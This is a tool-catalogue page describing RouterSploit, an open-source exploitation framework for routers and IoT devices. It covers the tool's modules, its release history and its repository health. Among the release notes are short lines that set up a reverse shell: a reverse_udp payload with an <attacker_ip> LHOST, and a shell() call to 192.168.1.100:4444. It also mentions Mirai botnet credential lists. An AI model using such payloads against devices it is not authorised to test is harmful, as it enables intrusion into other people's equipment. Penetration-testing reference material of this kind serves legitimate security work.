PAGES
← all tools
◆ Exploitation & C2

routersploit

v3.4.0 open-source

RouterSploit is an open-source exploitation framework dedicated to embedded devices, with modules for exploits, scanners, credentials testing, and payloads.

source ↗ rss ↗ What is a cyber toolchain?

Summary

routersploit is an open-source exploitation framework for embedded devices, free to use, run from the command line after cloning the repository and installing its Python dependencies (or via Docker). It works through modules organized into exploits, scanners, credential testers, and payload generators, letting an operator check whether a router or other embedded target is vulnerable and then act on it in the same session. This makes it a fit for penetration testers and red teamers working against routers, IoTIoTA collective label for internet-connected physical devices — sensors, cameras, routers, appliances — that tools target because they run embedded firmware with limited patching and broad network exposure. devices, and similar hardware rather than web or host targets, and its Metasploit-style module layout will feel familiar to anyone coming from that world, though nothing in its documentation names it as an alternative. First committed in 2016 and carrying 90 contributors, it has slowed to just 3 commits in the past year despite 10 tracked releases, so treat it as mature but not actively evolving.

RouterSploit is an open-source exploitation framework dedicated to embedded devices, with modules for exploits, scanners, credentials testing, and payloads.

How routersploit helps

Is this router or IoT device actually vulnerable to a known exploit before I try attacking it?

runs the scanner modules against the target, checking it against the framework's library of known embedded-device vulnerabilities and reporting which ones match

Which of my devices are still using default or weak vendor credentials?

runs credential-testing modules against the network service on the target, trying known default and weak logins and reporting which ones succeed

Can I move from confirming a flaw to actually exploiting it without switching tools?

lets the operator load the matching exploit module in the same session right after the scanner flags it vulnerable, so confirmation and exploitation happen back to back

What payload do I need to hand this exploit for the target's specific hardware?

generates payloads for the injection point and architecture the exploit module targets, matching the format the vulnerable device expects

Are there other embedded-device weaknesses on this target beyond the specific exploit I'm testing?

includes generic-attack modules that probe for broader classes of weakness on the target rather than one named vulnerability

all 9 features, with the evidence for each →

Languages

Not documented

Features

9 capabilities · 1 backed by code, an API document or a real run

Built from routersploit's releases, docs, README and our own runs. “Seen” marks the month we first spotted a release the vendor didn't date. Group names and tags are our labels.

Compare with peers →

What routersploit offers you

  • Command-line interface2
All capabilities 9 capabilities
Payload delivery support shipped Provides various payload types including reverse/bind shells over TCP/UDP for x86/x64 architectures and specific languages. 11 releases · first seen Jun 2018

release 11 total

  • Adds encoders/python/base64 module to encode Python payloads v3.2.0 · Jun 2018 · source · release history
  • Adds payloads/cmd/awk_bind_udp module for creating UDP bind shells using Awk via command interpreter v3.2.0 · Jun 2018 · source · release history
  • Adds payloads/cmd/python_bind_udp module for creating UDP bind shells via command interpreter v3.2.0 · Jun 2018 · source · release history
  • Adds payloads/python/bind_udp module for creating UDP bind shells using Python v3.2.0 · Jun 2018 · source · release history
  • Adds payloads/cmd/php_bind_tcp module for creating TCP bind shells using PHP via command interpreter v3.2.0 · Jun 2018 · source · release history
  • Adds payloads/cmd/python_reverse_udp module for creating reverse UDP shells via command interpreter v3.2.0 · Jun 2018 · source · release history
Exploit module creation verified Lets users add new exploit modules to the tool using a default template. 4 releases · 4 other sources · first seen Jul 2016

release

  • Adds OptEncoder option to modules v3.4.0 · Oct 2018 · source · release history
  • Adds validators integration for Option() validation, allowing constraints like validators.integer on module options with a named surface v3.0.0 · May 2018 · source · release history
  • Adds support for requests sessions in http_request() method, enabling persistent headers and cookies in exploits with a named surface v3.0.0 · May 2018 · source · release history
  • Adds input Validators for exploit's options to transform its values v2.2.0 · Jul 2016 · source · release history

command line

example

  • Establish a reverse shell connection to the target within a custom exploit module's logic. shell(host="192.168.1.100", port=4444) v3.0.0 · May 2018 · source
  • Define a module option that strictly accepts only integer values for configuration safety. port = Option(80, "Port", validators=validators.integer) v3.0.0 · May 2018 · source
  • Launch the RouterSploit framework python3 rsf.py
Exploit module for embedded devices shipped Provides specialized exploit modules targeting embedded devices. 6 releases · 1 other source · first seen May 2016

Also counts toward: Command-line interface

release

docs

  • Open-source exploitation framework for embedded devices with modules for exploits, credential testing, scanning, and payload generation.
Credential testing shipped Allows users to perform credential testing against target systems. 5 releases · 1 other source · first seen May 2016

release

  • Adds credentials used by Mirai botnet to credential lists v3.4.0 · Oct 2018 · source · release history
  • Adds encoders/perl/base64 module to encode Perl payloads v3.2.0 · Jun 2018 · source · release history
  • Adds encoders/php/hex module to encode PHP payloads v3.2.0 · Jun 2018 · source · release history
  • Adds encoders/php/base64 module to encode PHP payloads v3.2.0 · Jun 2018 · source · release history
  • Feeding Exploit with text file containing multiple targets definition v2.1.0 · May 2016 · source · release history

docs

  • Open-source exploitation framework for embedded devices with modules for exploits, credential testing, scanning, and payload generation.
Installation management shipped Provides a standard setup script for installing the cyber tooling. 1 release · first seen Jun 2018

release

Network service exploitation shipped Provides specialized modules for targeting specific network services and protocols, such as UPnP/SSDP. 1 release · first seen Jun 2018

release

  • Adds generic/upnp/ssdp_msearch module for Universal Plug and Device discovery and attack. v3.1.0 · Jun 2018 · source · release history
Exploit discovery and search shipped Allows users to search for existing exploits by keyword within a named surface. 1 release · first seen May 2018

Also counts toward: Command-line interface

release

  • Adds search command to lookup exploits by keyword (e.g., search dlink) with a named surface v3.0.0 · May 2018 · source · release history
Threaded scanning performance shipped Provides threaded support for scanner modules to significantly increase scan speed. 1 release · first seen Aug 2016

release

  • scanners/autopwn modules now run with threaded support, significantly increasing scan speed. v2.2.1 · Aug 2016 · source · release history
Module static analysis shipped Performs static analysis on exploit modules to ensure correctness or validity. 1 release · first seen May 2016

release

Lines in monospace are the tool's own words: help text parsed from its source, or an endpoint from its API document. Under release, a line is our summary of a dated release. Under docs, it is quoted from the tool's own documentation or website. Each links back to the source it came from.

Score card

  1. Shipping velocity releases a month, last 12 months
  2. Documentation quality release-notes rubric, 0–100
  3. Breaking-change discipline how rarely a release breaks users, and notice given
  4. Maintenance risk quiet time against its own cadence, maintainers
  5. Innovation & surface new capabilities, API and MCP surface
  6. Community health
  7. Contributor trend distinct committers, this year against last
  8. Maintainer concentration bus factor now against a year ago
  9. Issue backlog trend issues closed per issue opened, 12 months
  10. Responsiveness median time to a maintainer’s first reply

Nine scores for routersploit, each built from the releases, notes and API history this site tracks — and, on Researcher and Business, where it stands among every measured tool in its category and how that has moved.

Score cards are part of every paid plan.

See plans →

Each score is 0–100 on a published rubric, derived from data this site already shows. A dimension we cannot measure says so — it is never scored 0 and never enters a rank.

How this is scored
  • Shipping velocity — releases a month over the last 12 months, on a log scale where 16 a month scores 100. Needs 3 releases in the window.
  • Documentation quality — the release-notes rubric published on the analytics page, unchanged.
  • Breaking-change discipline — the share of releases carrying a breaking change (none scores 100, half or more scores 0). Only projects that label breaking changes are measured: a clean record cannot be told from an unlabelled one.
  • Maintenance risk — quiet time measured against the tool's own release cadence (quiet longer than 90 days and three typical gaps scores 0), plus the number of active maintainers and whether contributors are growing, where known. Higher is lower risk.
  • Innovation & surface — new capabilities in the feature ledger this year, API and MCP operations added, and the share of commits that are features: the mean of whichever we hold.
  • Community health (open-source tools only) — each is a direction, not a size: contributors this year against last, the bus factor now against a year ago, and issues closed per issue opened, where steady scores 50, doubled 100 and halved 0; plus the median time to a maintainer's first reply (an hour scores about 100, a month or more 0). A commercial card has no repository and carries none of the four.
  • Documented delivery (commercial tools) — when a vendor's documented new capabilities have slowed against its own baseline, that counts against the overall standing as heavily as two low dimensions. Steady delivery, or too little history to judge, leaves the standing alone; it is never a sixth score.
  • Open-source tools are scored on repository signals; commercial tools on their published changelog. Ranks compare tools within one category and one profile and need at least five measured peers; the overall standing needs three ranked dimensions. Best-in-breed or consolidator is a shape, not a quality, and is never scored.

Release-note detail over time

See how much detail routersploit puts in its release notes, quarter by quarter, and compare it with tracked tools in the same category. This history uses up to ten retained, reviewed notes per tool; sparse or blank older quarters may reflect that limit.

Checking release-note history…

Explore the full chart →

Releases

7 entries

  1. October 20181
  3. June 20182
  6. May 20181
  8. August 20161
  10. July 20161
  12. May 20161

    7 entries

    1. v3.4.0 Oct 17, 2018 · release notes

      Adds OptEncoder option, Asuswrt LAN RCERCERemote code execution, the ability to run attacker-chosen code on another system through a vulnerability. Its impact depends on the permissions and access that code receives. exploit, and Esries TheMoon RCE exploit

      └──▷ GET THIS VERSION 
      $ git clone --branch v3.4.0 https://github.com/threat9/routersploit.git
# already have the repo? check out this version:
$ git checkout v3.4.0
      • Adds exploits/routers/asus/asuswrt_lan_rce.py module for ASUS routers with ASUSWRT firmware
      • Adds exploits/routers/linksys/eseries_themoon_rce.py module for Linksys E-series devices using the Moon exploit chain
      • Adds OptEncoder option to modules
      • Adds credentials used by Mirai botnet to credential lists

      4 details in Everything

    2. v3.2.0 Jun 25, 2018 · release notes

      Routersploit v3.2.0 adds UDPUDPA network protocol that sends individual messages without guaranteeing delivery or order. Applications trade built-in reliability for less overhead and can add their own recovery. payload modules, new encoders, and a setup.py installer

      └──▷ GET THIS VERSION 
      $ git clone --branch v3.2.0 https://github.com/threat9/routersploit.git
# already have the repo? check out this version:
$ git checkout v3.2.0
      └──▷ TRY IT
      Use the new UDP-based payload in a CLI session to exploit a target with a reverse connection back over UDP.
      $ use payloads/python/reverse_udp
set LHOST <attacker_ip>
set LPORT <port>
run
      Install the tool using the newly added standard setup script.
      $ python setup.py install
      • Adds payloads/cmd/python_bind_udp module for creating UDP bind shells via command interpreter
      • Adds payloads/cmd/php_bind_tcp module for creating TCPTCPA network protocol that delivers a reliable, ordered stream of bytes between two endpoints. It detects lost data and retransmits it. bind shells using PHP via command interpreter
      • Adds payloads/cmd/awk_bind_udp module for creating UDP bind shells using Awk via command interpreter
      • Adds payloads/python/bind_udp module for creating UDP bind shells using Python
      • Adds payloads/python/reverse_udp module for creating reverse UDP shells using Python
      +6 more show less
      • Adds payloads/cmd/python_reverse_udp module for creating reverse UDP shells via command interpreter
      • Adds encoders/perl/base64 module to encode Perl payloads
      • Adds encoders/php/base64 module to encode PHP payloads
      • Adds encoders/php/hex module to encode PHP payloads
      • Adds encoders/python/base64 module to encode Python payloads
      • Adds setup.py script for standard package installation

      11 details in Everything

    3. v3.1.0 Jun 11, 2018 · release notes

      Adds SSDP MSearch exploit module and x86/x64 bind/reverse TCPTCPA network protocol that delivers a reliable, ordered stream of bytes between two endpoints. It detects lost data and retransmits it. payloads to RouterSploit v3.1.0

      └──▷ GET THIS VERSION 
      $ git clone --branch v3.1.0 https://github.com/threat9/routersploit.git
# already have the repo? check out this version:
$ git checkout v3.1.0
      • Adds generic/upnp/ssdp_msearch module for Universal Plug and Device discovery and attack.
      • Adds payloads/x86/bind_tcp payload for local x86 shell connections.
      • Adds payloads/x86/reverse_tcp payload for remote x86 shell connections.
      • Adds payloads/x64/bind_tcp payload for local x64 shell connections.
      • Adds payloads/x64/reverse_tcp payload for remote x64 shell connections.

      5 details in Everything

    4. v3.0.0 May 28, 2018 · release notes

      Adds search command, payloads module class, shell() function, and HTTP session support for exploit development in RouterSploit v3.0.0.

      └──▷ GET THIS VERSION 
      $ git clone --branch v3.0.0 https://github.com/threat9/routersploit.git
# already have the repo? check out this version:
$ git checkout v3.0.0
      └──▷ USE IT
      Define a module option that strictly accepts only integer values for configuration safety.
      python 
      port = Option(80, "Port", validators=validators.integer)
      Establish a reverse shell connection to the target within a custom exploit module's logic.
      python 
      shell(host="192.168.1.100", port=4444)
      • Adds search command to lookup exploits by keyword (e.g., search dlink) with a named surface
      • Adds support for requests sessions in http_request() method, enabling persistent headers and cookies in exploits with a named surface
      • Adds validators integration for Option() validation, allowing constraints like validators.integer on module options with a named surface

      3 details in Everything

    5. v2.2.1 Aug 20, 2016 · release notes

      Adds threaded execution to scanners in routersploit v2.2.1

      └──▷ GET THIS VERSION 
      $ git clone --branch v2.2.1 https://github.com/threat9/routersploit.git
# already have the repo? check out this version:
$ git checkout v2.2.1
      • scanners/autopwn modules now run with threaded support, significantly increasing scan speed.

      1 detail in Everything

    6. v2.2.0 Jul 21, 2016 · release notes

      routersploit v2.2.0 adds _setg global options command, exploit option validators, and new show/help sub-commands

      └──▷ GET THIS VERSION 
      $ git clone --branch v2.2.0 https://github.com/threat9/routersploit.git
# already have the repo? check out this version:
$ git checkout v2.2.0
      • Adds the _setg command to set global options across all modules
      • Adds input Validators for exploit's options to transform its values
      • Adds a new prompt interaction allowing Ctrl+C to return to prompt and Ctrl+D to kill rsf
      • Adds help command for usage information
      • Expands the show command with additional sub-commands

      5 details in Everything

    7. v2.1.0 May 7, 2016 · release notes

      v2.1.0 adds target file feeding, static analysis, exit command, and verbosity to utils.

      └──▷ GET THIS VERSION 
      $ git clone --branch v2.1.0 https://github.com/threat9/routersploit.git
# already have the repo? check out this version:
$ git checkout v2.1.0
      • exit command to terminate the session
      • Static analysis for modules #34 #56
      • Feeding Exploit with text file containing multiple targets definition
      • http_request() default timeout #74
      • Verbosity level to utils.print_*() functions #12

      5 details in Everything

    Project health

    Issue, contributor and maintainer activity in threat9/routersploit, 2023-10 – 2026-09, as of 2026-09-25. Twelve-month figures first; the trend lines run the whole window.

    1. Contributors 3 −4 vs prior 12 months
    2. Maintainers 0 +1 joined · −3 left, last 12 months
    3. Bus factor 0 committers behind half the commits
    4. Community-filed 100% of issues opened, last 12 months
    5. Median time to close 117 days first maintainer reply 44 days
    6. Open backlog 86 of 527 issues ever filed
    1. Issues opened / month 0 · 0 communitymaintainers
    2. Open backlog 86
    3. Contributors / month 0
    4. Commits / month 0
    5. Stars 13,244
    Issue themes, last 12 months
    • bugs 25%
    • other 75%

    Counts from the project's public repository and git history; no individuals are identified. Maintainers are the committers covering 80% of the last year's commits. how we measure this

    Add the badge to your README

    Maintain this project? The badge links readers straight to this page, so they can follow every release here.

    Tracked by Cyber Toolchain Choose a badge style and copy the code →
    compare.md

      Free the public facts, no sign-in Any paid plan all other sections Researcher & Business pricing history and category rank

      my-toolchain — 0 tools

        Betas, release candidates and previews. Turn it off to see final releases only. It also applies to changes you ask for over MCP when you're signed in.
        browse all tools → score card for your toolchain →
        cyber-toolchain / feedback

        Send us feedback